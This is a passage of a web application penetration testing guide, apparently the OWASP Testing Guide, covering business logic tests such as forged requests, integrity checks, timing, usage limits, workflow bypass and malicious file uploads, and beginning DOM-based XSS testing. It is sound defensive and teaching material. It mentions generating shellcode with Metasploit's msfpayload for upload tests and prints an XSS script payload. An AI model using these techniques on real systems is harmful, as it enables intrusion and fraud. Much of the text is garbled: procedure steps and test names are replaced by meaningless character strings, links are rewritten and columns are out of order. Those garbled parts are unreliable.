The Decision Model: A Business Logic Framework Linking Business and Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC Press, ISBN1420082817 (2010)

  z d 9  d ` 
Logic Abuse, Dr. Ponemon - http://www.emc.com/collateral/
rsa/silvertail/rsa-silver-tail-ponemon-ar.pdf

Test business logic data validation


(OTG-BUSLOGIC-001)

  z d 9  d ` 
Logic Abuse (UK) Edition, Dr. Ponemon - http://buzz.silvertailsystems.com/Ponemon_UK.htm
OWASP Related
 Business Logic Attacks Bots and Bats, Eldad Chai - http://
www.imperva.com/resources/adc/pdfs/AppSecEU09_BusinessLogicAttacks_EldadChai.pdf
OWASP Detail Misuse Cases - https://www.owasp.org/index.
php/Detail_misuse_cases
How to Prevent Business Flaws Vulnerabilities in Web Applications, Marco Morana - http://www.slideshare.net/marco_morana/issa-louisville-2010morana
Useful Web Sites
 Abuse of Functionality - http://projects.webappsec.org/w/
page/13246913/Abuse-of-Functionality
Business logic - http://en.wikipedia.org/wiki/Business_logic
 Business Logic Flaws and Yahoo Games - http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html
CWE-840: Business Logic Errors - http://cwe.mitre.org/data/
definitions/840.html
Defying Logic: Theory, Design, and Implementation of Complex
Systems for Testing Application Logic http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation
 Prevent application logic attacks with sound app security
practices
http://searchappsecurity.techtarget.
co m /q n a /0, 2 8 9202 ,si d 92_g c i1213 424 ,0 0 . h t m l ? b u c kM&zd
Real-Life Example of a Business Logic Defect - http://h30501.
www3.hp.com/t5/Following-the-White-Rabbit-A/Real-LifeExample-of-a-Business-Logic-Defect-Screen-Shots/bap/22581
Software Testing Lifecycle - http://softwaretestingfundamentals.com/software-testing-life-cycle/
Top 10 Business Logic Attack Vectors Attacking and Exploiting
Business Application Assets and Flaws Vulnerability Detection
to Fix http://www.ntobjectives.com/go/business-logic-attack-vectors-white-paper/ and http://www.ntobjectives.com/files/

Summary
The application must ensure that only logically valid data can be
entered at the front end as well as directly to the server side of
an application of system. Only verifying data locally may leave
applications vulnerable to server injections through proxies or at
handoffs with other systems. This is different from simply performing Boundary Value Analysis (BVA) in that it is more difficult
and in most cases cannot be simply verified at the entry point,
but usually requires checking some other system.
For example: An application may ask for your Social Security
Number. In BVA the application should check formats and semantics (is the value 9 digits long, not negative and not all 0s) for
the data entered, but there are logic considerations also. SSNs
are grouped and categorized. Is this person on a death file? Are
they from a certain part of the country?
Vulnerabilities related to business data validation is unique in
that they are application specific and different from the vulnerabilities related to forging requests in that they are more concerned about logical data as opposed to simply breaking the
business logic workflow.
The front end and the back end of the application should be verifying and validating that the data it has, is using and is passing
along is logically valid. Even if the user provides valid data to an
application the business logic may make the application behave
differently depending on data or circumstances.
Examples
Example 1
Suppose you manage a multi-tiered e-commerce site that allows
users to order carpet. The user selects their carpet, enters the
size, makes the payment, and the front end application has verified that all entered information is correct and valid for contact
information, size, make and color of the carpet. But, the business
logic in the background has two paths, if the carpet is in stock it
is directly shipped from your warehouse, but if it is out of stock in
your warehouse a call is made to a partners system and if they
have it in-stock they will ship the order from their warehouse
and reimbursed by them. What happens if an attacker is able to
continue a valid in-stock transaction and send it as out-of-stock
to your partner? What happens if an attacker is able to get in the
middle and send messages to the partner warehouse ordering
carpet without payment?
Example 2
Many credit card systems are now downloading account balances nightly so the customers can check out more quickly for
amounts under a certain value. The inverse is also true. I
f I pay my credit card off in the morning I may not be able to use
the available credit in the evening. Another example may be if I
use my credit card at multiple locations very quickly it may be

180

Web Application Penetration Testing

possible to exceed my limit if the systems are basing decisions


on last nights data.
How to Test
Generic Test Method
`
looking for data entry points or hand off points between systems or software.
R
tion/system.
Specific Testing Method:
^1n90y
application to ensure that the only valid values are accepted.
n6jj^^Rdj1&j
ing for places that variables such as cost and quality are passed.
Specifically, look for hand-offs between application/systems
that may be possible injection of tamper points.
R
ically invalid data, such as social security numbers or unique
identifiers that do not exist or that do not fit the business logic. This testing verifies that the server functions properly and
does not accept logically invalid data them.
Related Test Cases
All Input Validation test cases
j&1n
(OTG-IDENT-004)
jdLd
(OTG-SESS-001)
j&dyRj1d&dd

Tools

OWASP Zed Attack Proxy (ZAP) https://www.owasp.org/index.php/OWASP_Zed_Attack_


Proxy_Project
 ZAP is an easy to use integrated penetration testing tool for
finding vulnerabilities in web applications. It is designed to be
used by people with a wide range of security experience and as
such is ideal for developers and functional testers who are new
to penetration testing. ZAP provides automated scanners as
well as a set of tools that allow you to find security vulnerabilities manually.
References
Beginning Microsoft Visual Studio LightSwitch Development Gj&^^1R_6RyR0`j#9n&R^9#_09_&#E-

Remediation
The application/system must ensure that only logically valid
data is accepted at all input and hand off points of the application or system and data is not simply trusted once it has entered
the system.

Test Ability to forge requests


(OTG-BUSLOGIC-002)

Summary
Forging requests is a method that attackers use to circumvent
the front end GUI application to directly submit information for
back end processing. The goal of the attacker is to send HTTP
POST/GET requests through an intercepting proxy with data values that is not supported, guarded against or expected by the
applications business logic. Some examples of forged requests
include exploiting guessable or predictable parameters or expose hidden features and functionality such as enabling debugging or presenting special screens or windows that are very
useful during development but may leak information or bypass
the business logic.
Vulnerabilities related to the ability to forge requests is unique
to each application and different from business logic data validation in that it s focus is on breaking the business logic workflow.
Applications should have logic checks in place to prevent the
system from accepting forged requests that may allow attackers the opportunity to exploit the business logic, process, or flow
of the application. Request forgery is nothing new; the attacker
uses an intercepting proxy to send HTTP POST/GET requests to
the application. Through request forgeries attackers may be able
to circumvent the business logic or process by finding, predicting and manipulating parameters to make the application think a
process or task has or has not taken place.
Also, forged requests may allow subvention of programmatic or
business logic flow by invoking hidden features or functionality such as debugging initially used by developers and testers
sometimes referred to as an Easter egg. An Easter egg is an
intentional inside joke, hidden message, or feature in a work such
as a computer program, movie, book, or crossword. According to
game designer Warren Robinett, the term was coined at Atari by
personnel who were alerted to the presence of a secret message
which had been hidden by Robinett in his already widely distributed game, Adventure. The name has been said to evoke the idea
of a traditional Easter egg hunt. http://en.wikipedia.org/wiki/
Easter_egg_(media)
Examples
Example 1
Suppose an e-commerce theater site allows users to select their
ticket, apply a onetime 10% Senior discount on the entire sale,
view the subtotal and tender the sale. If an attacker is able to
see through a proxy that the application has a hidden field (of
1 or 0) used by the business logic to determine if a discount has
been taken or not. The attacker is then able to submit the 1 or no
discount has been taken value multiple times to take advantage
of the same discount multiple times.

181

Web Application Penetration Testing

Example 2
Suppose an online video game pays out tokens for points scored
for finding pirates treasure and pirates and for each level completed. These tokens can later be that can later be exchanged
for prizes. Additionally each levels points have a multiplier value
equal to the level. If an attacker was able to see through a proxy
that the application has a hidden field used during development
and testing to quickly get to the highest levels of the game they
could quickly get to the highest levels and accumulate unearned
points quickly.

used by people with a wide range of security experience and as


such is ideal for developers and functional testers who are new
to penetration testing. ZAP provides automated scanners as
well as a set of tools that allow you to find security vulnerabilities manually.

Also, if an attacker was able to see through a proxy that the application has a hidden field used during development and testing
to enabled a log that indicated where other online players, or hidden treasure were in relation to the attacker, they would then be
able to quickly go to these locations and score points.

Debugging features which remain present in the final game


http://glitchcity.info/wiki/index.php/List_of_video_games_
with_debugging_features#Debugging_features_which_
remain_present_in_the_final_game

How to Test
Generic Testing Method
`
looking for guessable, predictable or hidden functionality of
fields.

References
Cross Site Request Forgery - Legitimizing Forged Requests
http://fragilesecurity.blogspot.com/2012/11/cross-siterequest-forgery-legitimazing.html

Easter egg - http://en.wikipedia.org/wiki/Easter_egg_(media)


Top 10 Software Easter Eggs - http://lifehacker.com/371083/
top-10-software-easter-eggs

R
system allowing the user go through the application/system
against the normal busineess logic workflow.

Remediation
The application must be smart enough and designed with business logic that will prevent attackers from predicting and manipulating parameters to subvert programmatic or business logic
flow, or exploiting hidden/undocumented functionality such as
debugging.

Specific Testing Method 1

Test integrity checks (OTG-BUSLOGIC-003)

n6jj^^Rdj1&j
looking for some indication that values are incrementing at a
regular interval or are easily guessable.
9
changed and one may gain unexpected visibility.
Specific Testing Method 2
n6jj^^Rdj1&j
looking for some indication of hidden features such as debug
that can be switched on or activated.
9
different application response or behavior.
Related Test Cases
Testing for Exposed Session Variables (OTG-SESS-004)
Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)
Testing for Account Enumeration and Guessable User Account
(OTG-IDENT-004)

Tools

OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org


index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for
finding vulnerabilities in web applications. It is designed to be

Summary
Many applications are designed to display different fields depending on the user of situation by leaving some inputs hidden.
However, in many cases it is possible to submit values hidden
field values to the server using a proxy. In these cases the server side controls must be smart enough to perform relational or
server side edits to ensure that the proper data is allowed to the
server based on user and application specific business logic.
Additionally, the application must not depend on non-editable
controls, drop-down menus or hidden fields for business logic
processing because these fields remain non-editable only in the
context of the browsers. Users may be able to edit their values
using proxy editor tools and try to manipulate business logic.
If the application exposes values related to business rules like
quantity, etc. as non-editable fields it must maintain a copy on
the server side and use the same for business logic processing.
Finally, aside application/system data, log systems must be secured to prevent read, writing and updating.
Business logic integrity check vulnerabilities is unique in that
these misuse cases are application specific and if users are able
to make changes one should only be able to write or update/edit
specific artifacts at specific times per the business process logic.
The application must be smart enough to check for relational
edits and not allow users to submit information directly to the
server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through
the front end. Additionally, system artifacts such as logs must be
protected from unauthorized read, writing and removal.
Example

182

Web Application Penetration Testing

Example 1
Imagine an ASP.NET application GUI application that only allows
the admin user to change the password for other users in the
system. The admin user will see the username and password
fields to enter a username and password while other users will
not see either field. However, if a non admin user submits information in the username and password field through a proxy they
may be able to trick the server into believing that the request
has come from an admin user and change password of other users.
Example 2
Most web applications have dropdown lists making it easy for
the user to quickly select their state, month of birth, etc. Suppose
a Project Management application allowed users to login and
depending on their privileges presented them with a drop down
list of projects they have access to. What happens if an attacker finds the name of another project that they should not have
access to and submits the information via a proxy. Will the application give access to the project? They should not have access
even though they skipped an authorization business logic check.
Example 3
Suppose the motor vehicle administration system required an
employee initially verify each citizens documentation and information when they issue an identification or drivers license. At
this point the business process has created data with a high level
of integrity as the integrity of submitted data is checked by the
application. Now suppose the application is moved to the Internet so employees can log on for full service or citizens can log on
for a reduced self-service application to update certain information. At this point an attacker may be able to use an intercepting
proxy to add or update data that they should not have access to
and they could destroy the integrity of the data by stating that
the citizen was not married but supplying data for a spouses
name. This type of inserting or updating of unverified data destroys the data integrity and might have been prevented if the
business process logic was followed.
Example 4
Many systems include logging for auditing and troubleshooting
purposes. But, how good/valid is the information in these logs?
Can they be manipulated by attackers either intentionally or accidentially having their integrity destroyed?
How to Test
Generic Testing Method
`
looking for parts of the application/system (components i.e.
For example, input fields, databases or logs) that move, store
or handle data/information.
0
data/information is logically acceptable and what types the
application/system should guard against. Also, consider who
according to the business logic is allowed to insert, update and
delete data/information and in each component.

values with invalid data/information into each component (i.e.
input, database, or log) by users that .should not be allowed per

the busines logic workflow.


Specific Testing Method 1
n6jj^
9
the GUI application and start interrogating this value through
the proxy by submitting different data values trying to
circumvent the business process and manipulate values you
were not intended to have access to.
Specific Testing Method 2
n6jj^
information into areas of the application that are non-editable.
91n9
application and start interrogating this value through the proxy
by submitting different data values trying to circumvent the
business process and manipulate values you were not intended
to have access to.
Specific Testing Method 3
G
edited, for example logs or databases.
0
its information. For example log files should be identified and
Testers should try to manipulate the data/information being
collected.
Related Test Cases
All Input Validation test cases

Tools

Various system/application tools such as editors and file


manipulation tools.
OWASP Zed Attack Proxy (ZAP) - https://www.owasp.orgindex
php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for
finding vulnerabilities in web applications. It is designed to be
used by people with a wide range of security experience and as
such is ideal for developers and functional testers who are new
to penetration testing. ZAP provides automated scanners as
well as a set of tools that allow you to find security vulnerabilities manually.
References
Implementing Referential Integrity and Shared Business Logic
in a RDB - http://www.agiledata.org/essayreferentialIntegrity.
html
On Rules and Integrity Constraints in Database Systems
http://www.comp.nus.edu.sg/~lingtw/papers/IST92.teopk.pdf
Use referential integrity to enforce basic business rules in
Oracle - http://www.techrepublic.com/article/use-referentialintegrity-to-enforce-basic-business-rules-in-oracle/
Maximizing Business Logic Reuse with Reactive Logic - http:/
architects.dzone.com/articles/maximizing-business-logic

183

Web Application Penetration Testing

Tamper Evidence Logging - http://tamperevident.cs.rice.edu


Logging.html
Remediation
The application must be smart enough to check for relational
edits and not allow users to submit information directly to the
server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the
front end. Additionally, any component that can be edited must
have mechanisms in place to prevent unintentional/intentional
writing or updating.

Test for Process Timing (OTG-BUSLOGIC-004)

Summary
It is possible that attackers can gather information on an application by monitoring the time it takes to complete a task or give
a respond. Additionally, attackers may be able to manipulate and
break designed business process flows by simply keeping active
sessions open and not submitting their transactions in the expected time frame.
Process timing logic vulnerabilities is unique in that these manual misuse cases should be created considering execution and
transaction timing that are application/system specific.
Processing timing may give/leak information on what is being
done in the application/system background processes. If an application allows users to guess what the particulate next outcome will be by processing time variations, users will be able to
adjust accordingly and change behavior based on the expectation and game the system.
Example
Example 1
Video gambling/slot machines may take longer to process a
transaction just prior to a large payout. This would allow astute
gamblers to gamble minimum amounts until they see the long
process time which would then prompt them to bet the maximum.
Example 2
Many system log on processes ask for the user name and password. If you look closely you may be able to see that entering an
invalid user name and invalid user password takes more time to
return an error than entering a valid username and invalid user
password. This may allow the attacker to know if they have a
valid username and not need to rely on the GUI message.
Example 3
Most Arenas or travel agencies have ticketing applications that
allow users to purchase tickets and reserve seats. When the user
requests the tickets seats are locked or reserved pending payment. What if an attacker keeps reserving seats but not checking
out? Will the seats be released, or will no tickets be sold? Some
ticket vendors now only allow users 5 minutes to complete a
transaction or the transaction is invalidated.
Example 4
Suppose a precious metals e-commerce site allows users to
make purchases with a price quote based on market price at the

time they log on. What if an attacker logs on and places an order
but does not complete the transaction until later in the day only
of the price of the metals goes up? Will the attacker get the initial
lower price?
How to Test
`
testing looking for application/system functionality that may
be impacted by time. Such as execution time or actions that
help users predict a future outcome or allow one to circumvent
any part of the business logic or workflow. For example, not
completing transactions in an expected time.
#
can not gain an advantage based on any timing.
Related Test Cases
jRj1d&dd
jdjRj1d&dd
References
None
Remediation
Develop applications with processing time in mind. If attackers
could possibly gain some type of advantage from knowing the
different processing times and results add extra steps or processing so that no matter the results they are provided in the
same time frame.
Additionally, the application/system must have mechanism in
place to not allow attackers to extend transactions over an acceptable amount of time. This may be done by cancelling or resetting transactions after a specified amount of time has passed
like some ticket vendors are now using.

Test number of times a function can be used


limits (OTG-BUSLOGIC-005)

Summary
Many of the problems that applications are solving require limits to the number of times a function can be used or action can
be executed. Applications must be smart enough to not allow
the user to exceed their limit on the use of these functions since
in many cases each time the function is used the user may gain
some type of benefit that must be accounted for to properly
compensate the owner. For example: an eCommerce site may
only allow a users apply a discount once per transaction, or some
applications may be on a subscription plan and only allow users
to download three complete documents monthly.
Vulnerabilities related to testing for the function limits are application specific and misuse cases must be created that strive to
exercise parts of the application/functions/ or actions more than
the allowable number of times.
Attackers may be able to circumvent the business logic and execute a function more times than allowable exploiting the application for personal gain.
Example

184

Web Application Penetration Testing

Suppose an eCommerce site allows users to take advantage of


any one of many discounts on their total purchase and then proceed to checkout and tendering. What happens of the attacker
navigates back to the discounts page after taking and applying
the one allowable discount? Can they take advantage of another discount? Can they take advantage of the same discount
multiple times?
How to Test
`
looking for functions or features in the application or system
that should not be executed more that a single time or specified
number of times during the business logic workflow.
0
be executed a single time or specified number of times during
the business logic workflow, develop abuse/misuse cases that
may allow a user to execute more than the allowable number of
times. For example, can a user navigate back and forth through
the pages multiple times executing a function that should only
execute once? or can a user load and unload shopping carts
allowing for additional discounts.
Related Test Cases
j&1n
(OTG-IDENT-004)
jzRj1nj6M
References
InfoPath Forms Services business logic exceeded the maximum
limit of operations Rule - http://mpwiki.viacode.com/default.as
Gold Trading Was Temporarily Halted On The CME This Morning
- http://www.businessinsider.com/gold-halted-on-cme-forstop-logic-event-2013-10
Remediation
The application should have checks to ensure that the business
logic is being followed and that if a function/action can only be
executed a certain number of times, when the limit is reached
the user can no longer execute the function. To prevent users
from using a function over the appropriate number of times the
application may use mechanisms such as cookies to keep count
or through sessions not allowing users to access to execute the
function additional times.

Testing for the Circumvention of Work Flows


(OTG-BUSLOGIC-006)

Summary
Workflow vulnerabilities involve any type of vulnerability that allows the attacker to misuse an application/system in a way that
will allow them to circumvent (not follow) the designed/intended
workflow.
A workflow consists of a sequence of connected steps where
each step follows without delay or gap and ends just before the
subsequent step may begin. It is a depiction of a sequence of
operations, declared as work of a person or group, an organi-

zation of staff, or one or more simple or complex mechanisms.


Workflow may be seen as any abstraction of real work. (https://
en.wikipedia.org/wiki/Workflow)
The applications business logic must require that the user complete specific steps in the correct/specific order and if the workflow is terminated without correctly completing, all actions and
spawned actions are rolled back or canceled. Vulnerabilities related to the circumvention of workflows or bypassing the correct
business logic workflow are unique in that they are very application/system specific and careful manual misuse cases must be
developed using requirements and use cases.
The applications business process must have checks to ensure
that the users transactions/actions are proceeding in the correct/acceptable order and if a transaction triggers some sort of
action, that action will be rolled back and removed if the transaction is not successfully completed.
Examples
Example 1
Many of us receive so type of club/loyalty points for purchases from grocery stores and gas stations. Suppose a user was
able to start a transaction linked to their account and then after points have been added to their club/loyalty account cancel
out of the transaction or remove items from their basket and
tender. In this case the system either should not apply points/
credits to the account until it is tendered or points/credits should
be rolled back if the point/credit increment does not match the
final tender. With this in mind, an attacker may start transactions and cancel them to build their point levels without actually
buy anything.
Example 2
An electronic bulletin board system may be designed to ensure
that initial posts do not contain profanity based on a list that the
post is compared against. If a word on a black the list is found
in the user entered text the submission is not posted. But, once a
submission is posted the submitter can access, edit, and change
the submission contents to include words included on the profanity/black list since on edit the posting is never compared
again. Keeping this in mind, attackers may open an initial blank or
minimal discussion then add in whatever they like as an update.
How to Test
Generic Testing Method
`
looking for methods to skip or go to steps in the application
process in a different order from the designed/intended
business logic flow.
0
or perform an action that is not acceptable per the the
business logic workflow.
Testing Method 1
d
points that triggers credits/points to the users account.

the point values should be decreased and check the points/

185

Web Application Penetration Testing

credit system to ensure that the proper points/credits were


recorded.
Testing Method 2
R
save valid initial text or values.
j
existing data in an invalid state or with invalid values to ensure
that the user is not allowed to save the incorrect information.
Some invalid data or information may be specific words
(profanity) or specific topics (such as political issues).
Related Test Cases
j#Rj1nj6
jRj1nj6
jdLd
(OTGSESS-001)
jG#yRj1ndGR19
j0`Rj1ndGR19
j9Rj1ndGR19
j^jRj1ndGR19
jMj0nG
(OTG-BUSLOGIC-005)
j#L
(OTG-BUSLOGIC-007)
jnn0jRj1ndGR19
jnL0Rj1ndGR19
References
Rzd^#Lhttps://www.owasp.org/index
php/Detail_misuse_cases
`G&G#http://h30501
www3.hp.com/t5/Following-the-White-Rabbit-A/Real-LifeExample-of-a-Business-Logic-Defect-Screen-Shots/bap/22581
jGy&
Business Application Assets and Flaws Vulnerability Detection
to Fix - http://www.ntobjectives.com/go/business-logicattack-vectors-white-paper/ and http://www.ntobjectives.
com/files/Business_Logic_White_Paper.pdf
z&G&ttp://cwe.mitre.org/data
definitions/840.html
Remediation
The application must be self-aware and have checks in place ensuring that the users complete each step in the work flow pro-

cess in the correct order and prevent attackers from circumventing/skipping/or repeating any steps/processes in the workflow.
Test for workflow vulnerabilities involves developing business
logic abuse/misuse cases with the goal of successfully completing the business process while not completing the correct steps
in the correct order.

Test defenses against application mis-use


(OTG-BUSLOGIC-007)

Summary
The misuse and invalid use of of valid functionality can identify
attacks attempting to enumerate the web application, identify
weaknesses, and exploit vulnerabilities. Tests should be undertaken to determine whether there are application-layer defensive mechanisms in place to protect the application.
The lack of active defenses allows an attacker to hunt for vulnerabilities without any recourse. The applications owner will thus
not know their application is under attack.
Example
An authenticated user undertakes the following (unlikely) sequence of actions:
[1] Attempt to access a file ID their roles is not permitted to
download
[2] Substitutes a single tick () instead of the file ID number
[3] Alters a GET request to a POST
[4] Adds an extra parameter
[5] Duplicates a parameter name/value pair
The application is monitoring for misuse and responds after the
5th event with extremely high confidence the user is an attacker.
For example the application:
#
&
functionality


(e.g. sanitized HTTP request headers, bodies and response
bodies)
If the application does not respond in any way and the attacker can continue to abuse functionality and submit clearly malicious content at the application, the application has failed this
test case. In practice the discrete example actions in the example
above are unlikely to occur like that. It is much more probable that
a fuzzing tool is used to identify weaknesses in each parameter
in turn. This is what a security tester will have undertaken too.
How to Test
This test is unusual in that the result can be drawn from all the
other tests performed against the web application. While performing all the other tests, take note of measures that might
indicate the application has in-built self-defense:




186

Web Application Penetration Testing

These may only be localised. Common localized (per function)


defenses are:
`
G
authentication failures
Localized security controls are not sufficient. There are often no
defenses against general mis-use such as:
0

L

L
with values that cannot be the result user mistakes or typos
dCd^MLG
d_G
received
n
automation tools



G
functionality (e.g. voucher code submission, failed credit card
payments, file uploads, file downloads, log outs, etc).
These defenses work best in authenticated parts of the application, although rate of creation of new accounts or accessing
content (e.g. to scrape information) can be of use in public areas.
Not all the above need to be monitored by the application, but
there is a problem if none of them are. By testing the web application, doing the above type of actions, was any response taken against the tester? If not, the tester should report that the
application appears to have no application-wide active defenses
against misuse. Note it is sometimes possible that all responses
to attack detection are silent to the user (e.g. logging changes,
increased monitoring, alerts to administrators and and request
proxying), so confidence in this finding cannot be guaranteed. In
practice, very few applications (or related infrastructure such as
a web application firewall) are detecting these types of misuse.
Related Test Cases
All other test cases are relevant.

Tools

The tester can use many of the tools used for the other test cases.
References
`d, Software Assurance, US Department
Homeland Security
9` Common Misuse Scoring System (CMSS), NIST
^&
(CAPEC), The Mitre Corporation
Rzd^d^
d1, OWASP
Watson C, Coates M, Melton J and Groves G, Creating Attack
Aware Software Applications with Real-Time Defenses,

CrossTalk The Journal of Defense Software Engineering, Vol.


24, No. 5, Sep/Oct 2011

Test Upload of Unexpected File Types


(OTG-BUSLOGIC-008)

Summary
Many applications business processes allow for the upload and
manipulation of data that is submitted via files. But the business
process must check the files and only allow certain approved
file types. Deciding what files are approved is determined by
the business logic and is application/system specific. The risk in
that by allowing users to upload files, attackers may submit an
unexpected file type that that could be executed and adversely
impact the application or system through attacks that may deface the web site, perform remote commands, browse the system files, browse the local resources, attack other servers, or
exploit the local vulnerabilities, just to name a few.
Vulnerabilities related to the upload of unexpected file types is
unique in that the upload should quickly reject a file if it does not
have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently malicious but may be detrimental to the saved data. For example if an application accepts
Windows Excel files, if an similar database file is uploaded it may
be read but data extracted my be moved to incorrect locations.
The application may be expecting only certain file types to be
uploaded for processing, such as .CSV, .txt files. The application
may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation).
This may result in unexpected system or database results within
the application/system or give attackers additional methods to
exploit the application/system.
Example
Suppose a picture sharing application allows users to upload a
.gif or .jpg graphic file to the web site. What if an attacker is able
to upload an html file with a <script> tag in it or php file? The
system may move the file from a temporary location to the final
location where the php code can now be executed against the
application or system.
How to Test
Generic Testing Method
`
exploratory testing looking for file types that should be
unsupported by the application/system.
j
properly rejected.
9
place to verify that each file is properly evaluated.
Specific Testing Method
d
^
may contain files such as: jsp, exe, or html files containing script.

187

Web Application Penetration Testing

9
mechanism.
d
are properly prevented from uploading
Related Test Cases
j0&6d9
(OTG-CONFIG-003)
jnL0Rj1ndGR19
References
Rzd^n0nhttps://www.owasp.org
index.php/Unrestricted_File_Upload
0
upload - http://www.computerweekly.com/answer/Fileupload-security-best-practices-Block-a-malicious-file-upload
d^6^http:/
stackoverflow.com/questions/602539/stop-peopleuploading-malicious-php-files-via-forms
z&nn0#j
http://cwe.mitre.org/data/definitions/434.html
d^j60nhttps:/
www.datasprings.com/resources/dnn-tutorials/artmid/535/
articleid/65/secure-programming-tips-handling-file-uploads?
AspxAutoDetectCookieSupport=1
Remediation
Applications should be developed with mechanisms to only accept and manipulate acceptable files that the rest of the application functionality is ready to handle and expecting. Some specific examples include: Black or White listing of file extensions,
using Content-Type from the header, or using a file type recognizer, all to only allow specified file types into the system.

Test Upload of Malicious Files


(OTG-BUSLOGIC-009)

Summary
Many applications business processes allow for the upload of
data/information. We regularly check the validity and security of
text but accepting files can introduce even more risk. To reduce
the risk we may only accept certain file extensions, but attackers
are able to encapsulate malicious code into inert file types. Testing for malicious files verifies that the application/system is able
to correctly protect against attackers uploading malicious files.
Vulnerabilities related to the uploading of malicious files is
unique in that these malicious files can easily be rejected through including business logic that will scan files during
the upload process and reject those perceived as malicious.
Additionally, this is different from uploading unexpected files in
that while the file type may be accepted the file may still be malicious to the system.
Finally, malicious means different things to different systems,
for example Malicious files that may exploit SQL server vulnera-

bilities may not be considered a malicious to a main frame flat


file environment.
The application may allow the upload of malicious files that include exploits or shellcode without submitting them to malicious
file scanning. Malicious files could be detected and stopped at
various points of the application architecture such as: IPS/IDS,
application server anti-virus software or anti-virus scanning by
application as files are uploaded (perhaps offloading the scanning using SCAP).
Example
Suppose a picture sharing application allows users to upload
their .gif or .jpg graphic files to the web site. What if an attacker
is able to upload a PHP shell, or exe file, or virus? The attacker
may then upload the file that may be saved on the system and
the virus may spread itself or through remote processes exes or
shell code can be executed.
How to Test
Generic Testing Method
`
looking at the application/system to identify what constitutes
and malicious file in your environment.
#
j
verify that it is correctly rejected.
9
place to verify that each file is properly evaluated.
Specific Testing Method 1
nL
generates a shellcode as a Windows executable using the
Metasploit msfpayload command.
d
and see if it is accepted or properly rejected.
Specific Testing Method 2
#
detection process. There are many available on the Internet
such as ducklin.htm or ducklin-html.htm.
d
and see if it is accepted or properly rejected.
Specific Testing Method 3
d
an accepted file.
d
extension and see if the request is accepted or properly
rejected.
Related Test Cases
j0&6d9
(OTG-CONFIG-003)

188

Web Application Penetration Testing

jnn0jRj1ndGR19

Tools

Client-Side testing is concerned with the execution of code on


the client, typically natively within a web browser or browser
plugin. The execution of code on the client-side is distinct from
executing on the server and returning the subsequent content.

Intercepting proxy

Testing for DOM-based Cross site scripting


(OTG-CLIENT-001)

Metasploits payload generation functionality

References
Rzd^n0nhttps://www.owasp.org
index.php/Unrestricted_File_Upload
z0n0Ldjhttp:/
www.acunetix.com/websitesecurity/upload-forms-threat/
0
http://www.computerweekly.com/answer/File-uploadsecurity-best-practices-Block-a-malicious-file-upload

Summary
DOM-based Cross-Site Scripting is the de-facto name for XSS
bugs which are the result of active browser-side content on a
page, typically JavaScript, obtaining user input and then doing
something unsafe with it which leads to execution of injected
code. This document only discusses JavaScript bugs which lead
to XSS.

d^6^
http://stackoverflow.com/questions/602539/stop-peopleuploading-malicious-php-files-via-forms

The DOM, or Document Object Model, is the structural format


used to represent documents in a browser. The DOM enables
dynamic scripts such as JavaScript to reference components of
the document such as a form field or a session cookie. The DOM
is also used by the browser for security - for example to limit
scripts on different domains from obtaining session cookies for
other domains. A DOM-based XSS vulnerability may occur when
active content, such as a JavaScript function, is modified by a
specially crafted request such that a DOM element that can be
controlled by an attacker.

6j0L
http://www.techsupportalert.com/content/how-tell-if-filemalicious.htm

There have been very few papers published on this topic and, as
such, very little standardization of its meaning and formalized
testing exists.

z&nn0#j
http://cwe.mitre.org/data/definitions/434.html

How to Test
Not all XSS bugs require the attacker to control the content returned from the server, but can instead abuse poor JavaScript
coding practices to achieve the same results. The consequences
are the same as a typical XSS flaw, only the means of delivery is
different.

RL0n
http:/securitymecca.com/article/overview-of-malicious-fileupload-attacks/

9d0n
http://infosecauditor.wordpress.com/tag/malicious-fileupload/
z0n
http://palizine.plynt.com/issues/2011Apr/file-upload/
L1^
http://www.offensive-security.com/metasploit-unleashed/
Generating_Payloads
^ddj1
Shellcode Using Metasploit http://www.projectshellcode.
com/?q=node/29
Ljhttp://www.eicar.org/86-0-Intended
use.html
Remediation
While safeguards such as black or white listing of file extensions,
using Content-Type from the header, or using a file type recognizer may not always be protections against this type of vulnerability. Every application that accepts files from users must have
a mechanism to verify that the uploaded file does not contain
malicious code. Uploaded files should never be stored where the
users or attackers can directly access them.

Client-Side Testing

In comparison to other cross site scripting vulnerabilities (reflected and stored XSS), where an unsanitized parameter is
passed by the server, returned to the user and executed in the
context of the users browser, a DOM-based XSS vulnerability
controls the flow of the code by using elements of the Document
Object Model (DOM) along with code crafted by the attacker to
change the flow.
Due to their nature, DOM-based XSS vulnerabilities can be executed in many instances without the server being able to determine what is actually being executed. This may make many of
the general XSS filtering and detection techniques impotent to
such attacks.
The first hypothetical example uses the following client side
code:
An attacker may append #<script>alert(xss)</script> to the affected page URL which would, when executed, display the alert
box. In this instance, the appended code would not be sent to
the server as everything after the # character is not treated as
part of the query by the browser but as a fragment. In this example, the code is immediately executed and an alert of xss is
